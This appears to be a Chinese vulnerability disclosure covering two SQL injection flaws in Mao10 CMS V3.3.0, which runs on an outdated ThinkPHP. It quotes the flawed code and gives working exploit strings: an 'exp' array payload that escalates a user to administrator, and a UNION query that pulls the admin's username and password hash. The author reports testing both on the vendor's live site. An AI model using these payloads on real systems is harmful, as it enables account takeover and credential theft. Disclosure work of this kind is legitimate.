### 简要描述: V3.3.0 两处sql注入。 ### 详细说明: 发现mao10 用的是老版本的tp框架,于是乎注入就来了。。 #1 /Application/User/Controller/IndexController.class.php ``` public function edit($id=false){ if(!is_numeric($id)) { $id = mc_user_id(); }; if(is_numeric($id)) { if(mc_user_id()==$id) { if(mc_remove_html($_POST['title'],'all')) { $title = M('page')->where("title='".mc_magic_in(mc_remove_html($_POST['title'],'all'))."' AND type ='user'")->getField('id'); if(is_numeric($title) && $title!=$id) { $this->error('昵称已存在!'); } else { mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['title'],'all')),'title'); }; if($_POST['content']) { mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['content'],'all')),'content'); }; if($_POST['user_avatar']) { if(mc_get_meta(mc_user_id(),'user_avatar',true,'user')) { mc_update_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user'); } else { mc_add_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user');...
### 简要描述: V3.3.0 两处sql注入。 ### 详细说明: 发现mao10 用的是老版本的tp框架,于是乎注入就来了。。 #1 /Application/User/Controller/IndexController.class.php ``` public function edit($id=false){ if(!is_numeric($id)) { $id = mc_user_id(); }; if(is_numeric($id)) { if(mc_user_id()==$id) { if(mc_remove_html($_POST['title'],'all')) { $title = M('page')->where("title='".mc_magic_in(mc_remove_html($_POST['title'],'all'))."' AND type ='user'")->getField('id'); if(is_numeric($title) && $title!=$id) { $this->error('昵称已存在!'); } else { mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['title'],'all')),'title'); }; if($_POST['content']) { mc_update_page(mc_user_id(),mc_magic_in(mc_remove_html($_POST['content'],'all')),'content'); }; if($_POST['user_avatar']) { if(mc_get_meta(mc_user_id(),'user_avatar',true,'user')) { mc_update_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user'); } else { mc_add_meta(mc_user_id(),'user_avatar',mc_save_img_base64($_POST['user_avatar'],true),'user'); } ``` 跟进 mc_update_meta ``` function mc_update_meta($page_id,$meta_key,$meta_value,$type='basic',$prev_value = false) { if($prev_value) { $meta_valuex = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type = '$type' AND meta_value='$prev_value'")->getField('meta_value'); if($meta_valuex!='') { $meta['meta_value'] = $meta_value; $meta['type'] = $type; M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type = '$type' AND meta_value='$prev_value'")->save($meta); ``` 进入了save,注入产生。 关于tp的这个漏洞就参见这个吧 [WooYun: ThinkPHP框架架构上存在SQL注入](http://www.wooyun.org/bugs/wooyun-2014-086737) exp: ``` user_avatar[0]=exp&user_avatar[1]=10,`type`='user' WHERE ( page_id='4' AND meta_key='user_level' AND type = 'user' )# ``` 官网测试。 [<img src="https://images.seebug.org/upload/201504/09034119bf735e2463dd052d68b7210add631688.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09034119bf735e2463dd052d68b7210add631688.png) 成功提升为管理员权限。(测试账号:aaaaaa) #2. /Engine/Library/Think/Db.class.php ``` protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算 $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找 if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $likeStr = $this->comparison[strtolower($val[0])]; $like = array(); foreach ($val[1] as $item){ $like[] = $key.' '.$likeStr.' '.$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]); } }elseif('exp'==strtolower($val[0])){ // 使用表达式 $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/IN/i',$val[0])){ // IN 运算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; } }elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]); }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { //对字符串类型字段采用模糊匹配 if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) { $val = '%'.$val.'%'; $whereStr .= $key.' LIKE '.$this->parseValue($val); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; } ``` 存在 in 或者 BETWEEN的时候 会把所有字符都传进来 而没有过滤。 找到一个可以利用的点。 /Application/User/Controller/IndexController.class.php ``` public function shoucang($id=false){ if(!is_numeric($id)) { $id = mc_user_id(); }; if(is_numeric($id)) { $args_id = M('action')->where("user_id='$id' AND action_key='perform' AND action_value='shoucang'")->getField('page_id',true); file_put_contents("1.txt",$condition); if($args_id) { $condition['id'] = array('in',$args_id); if($_GET['type']) { $condition['type'] = $_GET['type']; }; file_put_contents("1.txt",$condition); $this->page = M('page')->where($condition)->order('id desc')->select(); }; $this->theme(mc_option('theme'))->display('User/shoucang'); } else { $this->error('参数错误!');$this->error('参数错误!'); }; } ``` 可以看到$_GET['type'] 没有任何处理 带入了数组进入了 where。条件满足,注入产生~ exp: ``` index.php?m=user&c=index&a=shoucang&type[]=%3d'pro' and 1=2 union select 1,concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1)),3,4,5%23in ``` [<img src="https://images.seebug.org/upload/201504/09034338c4a05edcdd23a4aa1af586f679b6a99b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09034338c4a05edcdd23a4aa1af586f679b6a99b.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201504/09034338c4a05edcdd23a4aa1af586f679b6a99b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09034338c4a05edcdd23a4aa1af586f679b6a99b.png) [<img src="https://images.seebug.org/upload/201504/09034119bf735e2463dd052d68b7210add631688.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09034119bf735e2463dd052d68b7210add631688.png)